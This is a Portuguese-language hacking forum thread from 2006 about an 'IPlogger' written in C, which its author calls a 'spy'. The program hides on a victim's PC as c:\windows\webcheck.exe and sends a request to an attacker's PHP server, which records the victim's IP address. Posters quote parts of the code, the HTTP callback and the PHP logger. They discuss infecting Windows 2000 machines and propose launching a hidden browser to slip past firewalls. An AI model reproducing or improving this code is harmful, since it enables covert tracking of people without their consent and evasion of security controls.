Source Code - IPlogger - C

Started by Dark_Side, 10 de June , 2006, 07:54:35 PM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

Dark_Side

Hi, ;D.
Bye.

Anonymous

aff podia ter sido feito soh com php  ;)

Dark_Side

Hi,
hehe, é porque eu fiz com o objetivo de capturar o IP da máquina onde o programa for executado, deixando o programa como um "espião".
Bye.

rog

legal dark_side e bemvindo

aqui tem dois scripts :

- um notifier em C qui vai mandar uma uma notificaçao para um servidor rodando apache/php

- um logger php que vai receber a notificaçao e gravar as informaçao num arquivo php

#############

algumas perguntas :

char ip[16]
localip[16]
ip_enviado[16]

sera que o ponto nao conta como um caratero em c ?
nao tem que acrescentar um para um null no fim da string ?

char caminho[255]="c:\\windows\\webcheck.exe";
se vc infectar um pc rodando win2K o windir fica em winnt, nao tem como interpretar %windir%

a outra pergunta e estrategica, porque vc pegas o ip local do pc se vc nao envia ela para o logger ?

vlw

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Dark_Side

Hi,
1) Se temos xxx.xxx.xxx.xxx, temos um total de 15 caracteres.
2) Não sei se estou enganado, mas o compilador já adiciona '\0' automaticamente.
3) Realmente não havia pensado nessa possibilidade, quando fiz o iplogger tomei como base o Windows XP, mas uma solução prática seria:

QuoteGetWindowsDirectory(caminho,255);
strcat(caminho,"\\webcheck.exe");

4) Não entendi bem o que você quis dizer, mas acho que é isso :D:

O ip será gravado em um arquivo no servidor PHP (ips.txt).
Quote#define IP_SERVIDOR "xxx.xxx.xxx.xxx" //IP do servidor
#define URL "GET /iplogger.php HTTP/1.0\nHost:www.servidor.lol\n\n" //Requisição
Quotesend(winsock,URL,strlen(URL),0); //Faz a requisição PHP

Muito bem, o programa irá conectar-se ao servidor PHP, e fazer uma requisição ao arquivo iplogger.php:
GET /iplogger.php HTTP/1.0
Host: hostname_do_servidor

Fim da requisição.
O arquivo iplogger.php, por sua vez, irá capturar o IP do cliente, no caso o computador que fez a requisição via socket, e adicioná-lo no arquivo 'ips.txt'.

Quote$ip = $REMOTE_ADDR; //Obtém o IP

Acho que é isso, caso eu não tenha sido claro ou queira fazer outras perguntas e/ou correções, sugestões, etc, agradeço.
Bye.

Skayler

Away

rog

lol

Quote1) Se temos xxx.xxx.xxx.xxx, temos um total de 15 caracteres.

contei errado 15 + null = 16 ==> vc estas certo

QuoteGetWindowsDirectory(caminho,255);
strcat(caminho,"\\webcheck.exe");

beleza era o que eu pensava

a questao estrategica era sobre o codigo abaixo

Quote// Pega o hostname, e obtem o IP LOCAL
gethostname(localname,255);
host = gethostbyname(localname);
memcpy(&localsock.sin_addr,host->h_addr_list[0],host->h_length);
strcpy(localip,inet_ntoa(localsock.sin_addr));

onde eu me perguntei porque vc pegas os dados da maquina se vc nao mandas eles

sendo que para me se vc tever um meio de lançar %browser% num modo hidden com a url do logger vc passas tranquilo os firewalls

vlw

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Anonymous

Vao me chamar de chato mas vamos la.
Realmente pra que pegar o ip se vc precisa so acessar o site?!
E se for enviar use:
unsigned int ip;ow
unsigned char ip[4];
O ip é divido em 4 variando de 0 a 255 logo sao 4 bytes sem sinal ¬¬"
LOGO os . (pontos) sao so maquiagem pra macaco intender.

Nao tem segredo ;D